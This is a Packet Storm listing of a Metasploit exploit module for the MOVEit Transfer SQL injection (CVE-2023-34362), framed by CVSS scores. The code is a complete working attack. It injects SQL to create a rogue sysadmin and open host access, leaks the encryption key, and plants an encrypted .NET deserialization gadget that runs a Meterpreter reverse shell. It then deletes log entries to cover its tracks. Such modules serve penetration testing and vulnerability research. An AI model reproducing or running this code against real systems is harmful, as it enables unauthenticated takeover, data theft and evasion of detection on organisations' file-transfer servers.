Lucene search

K
packetstormBwatters-r7, sfewer-r7, rbowes-r7, metasploit.comPACKETSTORM:173110
HistoryJun 23, 2023 - 12:00 a.m.

MOVEit SQL Injection

2023-06-2300:00:00
bwatters-r7, sfewer-r7, rbowes-r7, metasploit.com
packetstormsecurity.com
459

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.808 High

EPSS

Percentile

97.8%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'MOVEit SQL Injection vulnerability',  
'Description' => %q{  
This module exploits an SQL injection vulnerability in the MOVEit Transfer web application  
that allows an unauthenticated attacker to gain access to MOVEit Transfer’s database.  
Depending on the database engine being used (MySQL, Microsoft SQL Server, or Azure SQL), an  
attacker can leverage an information leak be able to upload a .NET deserialization payload.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'sfewer-r7', # PoC https://github.com/sfewer-r7/CVE-2023-34362  
'rbowes-r7', # research  
'bwatters-r7' # module  
],  
'References' => [  
['CVE', '2023-34362' ],  
['URL', 'https://github.com/sfewer-r7/CVE-2023-34362'],  
['URL', 'https://attackerkb.com/topics/mXmV0YpC3W/cve-2023-34362/rapid7-analysis'],  
['URL', 'https://www.wiz.io/blog/cve-2023-34362']  
],  
'Platform' => 'win',  
'Arch' => [ARCH_CMD],  
'Payload' => {  
'Space' => 345  
},  
'Targets' => [  
[  
'Windows Command',  
{  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp',  
'RPORT' => 443,  
'SSL' => true  
}  
}  
],  
],  
'DisclosureDate' => '2023-05-31',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'Reliability' => [ REPEATABLE_SESSION ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]  
}  
)  
)  
register_options(  
[  
Msf::OptString.new('TARGET_URI', [ false, 'Target URI', '/api/v1/token']),  
Msf::OptString.new('USERNAME', [ true, 'Username', Rex::Text.rand_text_alphanumeric(5..11)]),  
Msf::OptString.new('LOGIN_NAME', [ true, 'Login Name', Rex::Text.rand_text_alphanumeric(5..11)]),  
Msf::OptString.new('PASSWORD', [ true, 'Password', Rex::Text.rand_text_alphanumeric(5..11)])  
]  
)  
@moveit_token = nil  
@moveit_instid = nil  
@guest_email_addr = "#{Rex::Text.rand_text_alphanumeric(5..12)}@#{Rex::Text.rand_text_alphanumeric(3..6)}.com"  
@uploadfile_name = Rex::Text.rand_text_alphanumeric(8..15)  
@uploadfile_size = rand(5..64)  
@uploadfile_data = Rex::Text.rand_text_alphanumeric(@uploadfile_size)  
@user_added = false  
@files_json = nil  
end  
  
def begin_file_upload(folders_json, token_json)  
boundary = rand_text_numeric(27)  
post_data = "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"name\"\r\n\r\n#{@uploadfile_name}\r\n--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"size\"\r\n\r\n#{@uploadfile_size}\r\n--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"comments\"\r\n\r\n\r\n--#{boundary}--\r\n"  
res = send_request_raw({  
'method' => 'POST',  
'uri' => normalize_uri("/api/v1/folders/#{folders_json['items'][0]['id']}/files?uploadType=resumable"),  
'headers' => {  
'Content-Type' => 'multipart/form-data; boundary=' + boundary,  
'Authorization' => "Bearer #{token_json['access_token']}"  
},  
'connection' => 'close',  
'accept' => '*/*',  
'data' => post_data.to_s  
})  
  
fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #1 (#{files_response.body})") if res.nil? || res.code != 200  
  
files_json = res.get_json_document  
vprint_status("Initiated resumable file upload for fileId '#{files_json['fileId']}'...")  
files_json  
end  
  
def check  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri('moveitisapi/moveitisapi.dll?action=capa'),  
'connection' => 'close',  
'accept' => '*/*'  
})  
version = nil  
if res && res.code == 200 && res.headers.key?('X-MOVEitISAPI-Version')  
version = Rex::Version.new(res.headers['X-MOVEitISAPI-Version'])  
# 2020.1.x AKA 12.1.x  
return Exploit::CheckCode::Appears if version >= Rex::Version.new('12.1.0') && version < Rex::Version.new('12.1.10')  
# 2021.0.x AKA 13.0.x  
return Exploit::CheckCode::Appears if version >= Rex::Version.new('13.0.0') && version < Rex::Version.new('13.0.8')  
# 2021.1.x AKA 13.1.x  
return Exploit::CheckCode::Appears if version >= Rex::Version.new('13.1.0') && version < Rex::Version.new('13.1.6')  
# 2022.0.x AKA 14.0.x  
return Exploit::CheckCode::Appears if version >= Rex::Version.new('14.0.0') && version < Rex::Version.new('14.0.6')  
# 2022.1.x AKA 14.1.x  
return Exploit::CheckCode::Appears if version >= Rex::Version.new('14.1.0') && version < Rex::Version.new('14.1.7')  
# 2023.0.x AKA 15.0.x  
return Exploit::CheckCode::Appears if version >= Rex::Version.new('15.0.0') && version < Rex::Version.new('15.0.3')  
else  
return Exploit::CheckCode::Safe  
end  
return Exploit::CheckCode::Unknown  
end  
  
def cleanup  
cleanup_user(@files_json) if @user_added  
super  
end  
  
def cleanup_user(files_json)  
hax_username = datastore['USERNAME']  
hax_loginname = datastore['LOGIN_NAME']  
deleteuser_payload = [  
"DELETE FROM moveittransfer.fileuploadinfo WHERE FileID='#{files_json['fileId']}'", # delete the deserialization payload  
"DELETE FROM moveittransfer.files WHERE UploadUsername='#{hax_username}'", # delete the file we uploaded  
"DELETE FROM moveittransfer.activesessions WHERE Username='#{hax_username}'", #  
"DELETE FROM moveittransfer.users WHERE Username='#{hax_username}'", # delete the user account we created  
"DELETE FROM moveittransfer.log WHERE Username='#{hax_username}'", # The web ASP stuff logs by username  
"DELETE FROM moveittransfer.log WHERE Username='#{hax_loginname}'", # The API logs by loginname  
"DELETE FROM moveittransfer.log WHERE Username='Guest:#{@guest_email_addr}'", # The SQLi generates a guest log entry.  
]  
if @user_added  
vprint_status("Deleting user #{hax_username}")  
sqli(sqli_payload(deleteuser_payload))  
@user_added = false  
end  
end  
  
def create_sysadmin  
hax_username = datastore['USERNAME']  
hax_password = datastore['PASSWORD']  
hax_loginname = datastore['LOGIN_NAME']  
createuser_payload = [  
"UPDATE moveittransfer.hostpermits SET Host='*.*.*.*' WHERE Host!='*.*.*.*'",  
"INSERT INTO moveittransfer.users (Username) VALUES ('#{hax_username}')",  
"UPDATE moveittransfer.users SET LoginName='#{hax_loginname}' WHERE Username='#{hax_username}'",  
"UPDATE moveittransfer.users SET InstID='#{@moveit_instid}' WHERE Username='#{hax_username}'",  
"UPDATE moveittransfer.users SET Password='#{makev1password(hax_password, Rex::Text.rand_text_alphanumeric(4))}' WHERE Username='#{hax_username}'",  
"UPDATE moveittransfer.users SET Permission='40' WHERE Username='#{hax_username}'",  
"UPDATE moveittransfer.users SET CreateStamp=NOW() WHERE Username='#{hax_username}'",  
]  
res = sqli(sqli_payload(createuser_payload))  
  
fail_with(Msf::Exploit::Failure::Unknown, "Couldn't perform initial SQLi (#{res.body})") if res.code != 200  
@user_added = true  
end  
  
def encrypt_deserialization_gadget(gadget, org_key)  
org_key = org_key.gsub(' ', '')  
org_key = [org_key].pack('H*').bytes.pack('C*')  
deserialization_gadget = moveitv2encrypt(gadget, org_key)  
deserialization_gadget  
end  
  
def find_folder_id(token_json)  
folders_response = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri('/api/v1/folders'),  
'connection' => 'close',  
'accept' => '*/*',  
'headers' => {  
'Authorization' => "Bearer #{token_json['access_token']}"  
}  
})  
fail_with(Msf::Exploit::Failure::Unknown, "Couldn't get API folders (#{folders_response.body})") if folders_response.nil? || folders_response.code != 200  
folders_json = JSON.parse(folders_response.body)  
vprint_status("Found folderId '#{folders_json['items'][0]['id']}'.")  
folders_json  
end  
  
def get_csrf_token(res)  
fail_with(Msf::Exploit::Failure::Unknown, 'No csrf token, or my code is bad') unless res.to_s.split(/\n/).join =~ /.*csrftoken" value="([a-f0-9]*)"/  
::Regexp.last_match(1)  
end  
  
def guestaccess_request(body)  
res = send_request_cgi({  
'method' => 'POST',  
'keep_cookies' => true,  
'uri' => normalize_uri('guestaccess.aspx'),  
'connection' => 'close',  
'accept' => '*/*',  
'vars_post' => body  
})  
res  
end  
  
# Perform a request to the ISAPI endpoint with an arbitrary transaction  
def isapi_request(transaction, headers)  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri('moveitisapi/moveitisapi.dll?action=m2'),  
'keep_cookies' => true,  
'connection' => 'close',  
'accept' => '*/*',  
'headers' => {  
'X-siLock-Test': 'abcdX-SILOCK-Transaction: folder_add_by_path',  
'X-siLock-Transaction': transaction  
}.merge(headers)  
})  
end  
  
def leak_encryption_key(token_json, files_json)  
haxleak_payload = [  
# The \ gets escaped, so we leverage CHAR_LENGTH(39) to get the key we want (Standard Networks\siLock\Institutions\0) as all other KeyName's will be longer (Standard Networks\siLock\Institutions\1234)  
"UPDATE moveittransfer.files SET UploadAgentBrand=(SELECT PairValue FROM moveittransfer.registryaudit WHERE PairName='Key' AND CHAR_LENGTH(KeyName)=#{'Standard Networks\siLock\Institutions\0'.length}) WHERE ID='#{files_json['fileId']}'"  
]  
  
sqli(sqli_payload(haxleak_payload))  
  
leak_response = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri("/api/v1/files/#{files_json['fileId']}"),  
'connection' => 'close',  
'accept' => '*/*',  
'headers' => {  
'Authorization' => "Bearer #{token_json['access_token']}"  
}  
})  
  
fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #LEAK (#{leak_response.body})") if leak_response.nil? || leak_response.code != 200  
leak_json = JSON.parse(leak_response.body)  
org_key = leak_json['uploadAgentBrand']  
vprint_status("Leaked the Org Key: #{org_key}")  
org_key  
end  
  
def makev1password(password, salt = 'AAAA')  
fail_with(Msf::Exploit::Failure::BadConfig, 'password cannot be empty') if password.empty?  
fail_with(Msf::Exploit::Failure::BadConfig, 'salt must be 4 bytes') if salt.length != 4  
  
# These two hardcoded values are found in MOVEit.DMZ.Core.Cryptography.Providers.SecretProvider.GetSecret  
pwpre = Base64.decode64('=VT2jkEH3vAs=')  
pwpost = Base64.decode64('=0maaSIA5oy0=')  
md5 = Digest::MD5.new  
md5.update(pwpre)  
md5.update(salt)  
md5.update(password)  
md5.update(pwpost)  
  
pw = [(4 + 4 + 16), 0, 0, 0].pack('CCCC')  
pw << salt  
pw << md5.digest  
  
return Base64.strict_encode64(pw).gsub('+', '-')  
end  
  
def moveitv2encrypt(data, org_key, iv = nil, tag = '@%!')  
fail_with(Msf::Exploit::Failure::BadConfig, 'org_key must be 16 bytyes') if org_key.length != 16  
  
if iv.nil?  
iv = Rex::Text.rand_text_alphanumeric(4)  
# as we only store the first 4 bytes in the header, the IV must be a repeating 4 byte sequence.  
iv *= 4  
end  
  
# MOVEit.DMZ.Core.Cryptography.Encryption  
key = [64, 131, 232, 51, 134, 103, 230, 30, 48, 86, 253, 157].pack('C*')  
key += org_key  
key += [0, 0, 0, 0].pack('C*')  
  
# MOVEit.Crypto.AesMOVEitCryptoTransform  
cipher = OpenSSL::Cipher.new('AES-256-CBC')  
  
cipher.encrypt  
cipher.key = key  
cipher.iv = iv  
encrypted_data = cipher.update(data) + cipher.final  
data_sha1_hash = Digest::SHA1.digest(data).unpack('C*')  
org_key_sha1_hash = Digest::SHA1.digest(org_key).unpack('C*')  
  
# MOVEit.DMZ.Core.Cryptography.Providers.MOVEit.MOVEitV2EncryptedStringHeader  
header = [  
225, # MOVEitV2EncryptedStringHeader  
0,  
data_sha1_hash[0],  
data_sha1_hash[1],  
org_key_sha1_hash[0],  
org_key_sha1_hash[1],  
org_key_sha1_hash[2],  
org_key_sha1_hash[3],  
iv.unpack('C*')[0],  
iv.unpack('C*')[1],  
iv.unpack('C*')[2],  
iv.unpack('C*')[3],  
].pack('C*')  
  
# MOVEit.DMZ.Core.Cryptography.Encryption  
return tag + Base64.strict_encode64(header + encrypted_data)  
end  
  
def populate_token_instid  
begin  
res = send_request_cgi({  
'method' => 'GET',  
'keep_cookies' => true,  
'connection' => 'keep-alive',  
'accept' => '*/*'  
})  
  
cookies = res.get_cookies  
# Get the session id from the cookies  
fail_with(Msf::Exploit::Failure::Unknown, 'Could not find token from cookies!') unless cookies =~ /ASP.NET_SessionId=([a-z0-9]+);/  
@moveit_token = ::Regexp.last_match(1)  
vprint_status("Received ASP.NET_SessionId cookie: #{@moveit_token}")  
  
# Get the InstID from the cookies  
fail_with(Msf::Exploit::Failure::Unknown, 'Could not find InstID from cookies!') unless cookies =~ /siLockLongTermInstID=([0-9]+);/  
@moveit_instid = ::Regexp.last_match(1)  
vprint_status("Received siLockLongTermInstID cookie: #{@moveit_instid}")  
end  
true  
end  
  
def request_api_token  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri('/api/v1/token'),  
'Content-Type' => 'application/x-www-form-urlencoded',  
'connection' => 'keep-alive',  
'accept' => '*/*',  
'vars_post' => {  
'grant_type' => 'password',  
'username' => datastore['LOGIN_NAME'],  
'password' => datastore['PASSWORD']  
}  
})  
  
fail_with(Msf::Exploit::Failure::Unknown, "Couldn't get API token (#{res.body})") if res.code != 200  
  
token_json = JSON.parse(res.body)  
vprint_status("Got API access token='#{token_json['access_token']}'.")  
token_json  
end  
  
def set_session(session_hash)  
session_vars = {}  
session_index = 0  
session_hash.each_pair do |k, v|  
session_vars["X-siLock-SessVar#{session_index}"] = "#{k}: #{v}"  
session_index += 1  
end  
isapi_request('session_setvars', session_vars)  
end  
  
def sqli(sql_payload)  
# Set up a fake package in the session. The order here is important. We set these session  
# variables one per request, so first set the package information, then switch over to a  
# 'Guest' username to allow the CSRF/injection to work as expected. If we don't do this  
# order the session will be cleared and the injection will not work.  
set_session({  
'MyPkgAccessCode' => 'accesscode', # Must match the final request Arg06  
'MyPkgID' => '0', # Is self provisioned? (must be 0)  
'MyGuestEmailAddr' => @guest_email_addr, # Must be a valid email address @ MOVEit.DMZ.ClassLib.dll/MOVEit.DMZ.ClassLib/MsgEngine.cs  
'MyPkgInstID' => '1234', # this can be any int value  
'MyPkgSelfProvisionedRecips' => sql_payload,  
'MyUsername' => 'Guest'  
})  
  
# Get a CSRF token - this has to be *after* you set MyUsername, since the  
# username is incorporated into it  
#  
# Transaction => request type, different types will work  
# Arg06 => the package access code (must match what's set above)  
# Arg12 => promptaccesscode requests a form, which contains a CSRF code  
  
body = { 'Transaction' => 'dummy', 'Arg06' => 'accesscode', 'Arg12' => 'promptaccesscode' }  
csrf = get_csrf_token(guestaccess_request(body))  
  
# This does the actual injection  
body = {  
'Arg06' => 'accesscode',  
'transaction' => 'secmsgpost',  
'Arg01' => 'subject',  
'Arg04' => 'body',  
'Arg05' => 'sendauto',  
'Arg09' => 'pkgtest9',  
'csrftoken' => csrf  
}  
guestaccess_request(body)  
end  
  
def sqli_payload(sql_payload)  
# Create the initial injection, and create the session object  
payload = [  
# The initial injection  
"#{Rex::Text.rand_text_alphanumeric(8)}@#{Rex::Text.rand_text_alphanumeric(8)}.com')",  
].concat(sql_payload)  
  
# Join our payload, and terminate with a comment character  
return payload.join(';') + ';#'  
end  
  
def trigger_deserialization(token_json, files_json, folders_json)  
files_response = send_request_cgi({  
'method' => 'PUT',  
'uri' => normalize_uri("/api/v1/folders/#{folders_json['items'][0]['id']}/files?uploadType=resumable&fileId=#{files_json['fileId']}"),  
'connection' => 'close',  
'accept' => '*/*',  
'verify' => false,  
'headers' => {  
'Authorization' => "Bearer #{token_json['access_token']}",  
'Content-Type' => 'application/octet-stream',  
'Content-Range' => "bytes 0-#{@uploadfile_size - 1}/#{@uploadfile_size}",  
'X-File-Hash' => Digest::SHA1.hexdigest(@uploadfile_data)  
},  
'data' => @uploadfile_data  
})  
  
# 500 if payload runs :)  
fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #2 code=#{files_response.code} (#{files_response.body})") if files_response.code != 500  
end  
  
def upload_encrypted_gadget(encrypted_gadget, files_json)  
haxupload_payload = [  
"UPDATE moveittransfer.fileuploadinfo SET State='#{encrypted_gadget}' WHERE FileID='#{files_json['fileId']}'",  
]  
vprint_status('Planting encrypted gadget into the DB...')  
sqli(sqli_payload(haxupload_payload))  
end  
  
def exploit  
# Get the sessionID and siLockLongTermInstID  
print_status('[01/11] Get the sessionID and siLockLongTermInstID')  
populate_token_instid  
# Allow Remote Access and Create new sysAd  
print_status('[02/11] Create New Sysadmin')  
create_sysadmin  
print_status('[03/11] Get API Token')  
token_json = request_api_token  
print_status('[04/11] Get Folder ID')  
folders_json = find_folder_id(token_json)  
print_status('[05/11] Begin File Upload')  
@files_json = begin_file_upload(folders_json, token_json)  
print_status('[06/11] Leak Encryption Key')  
org_key = leak_encryption_key(token_json, @files_json)  
print_status('[07/11] Generate Gadget')  
gadget = ::Msf::Util::DotNetDeserialization.generate(  
payload.encoded,  
gadget_chain: :TextFormattingRunProperties,  
formatter: :BinaryFormatter  
)  
print_status('[08/11] Encrypt Gadget')  
b64_gadget = Rex::Text.encode_base64(gadget)  
encrypted_gadget = encrypt_deserialization_gadget(b64_gadget, org_key)  
print_status('[09/11] Upload Encrypted Gadget')  
upload_encrypted_gadget(encrypted_gadget, @files_json)  
print_status('[10/11] Trigger Gadget')  
trigger_deserialization(token_json, @files_json, folders_json)  
print_status('[11/11] Cleaning Up')  
cleanup_user(@files_json)  
end  
end  
`

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.808 High

EPSS

Percentile

97.8%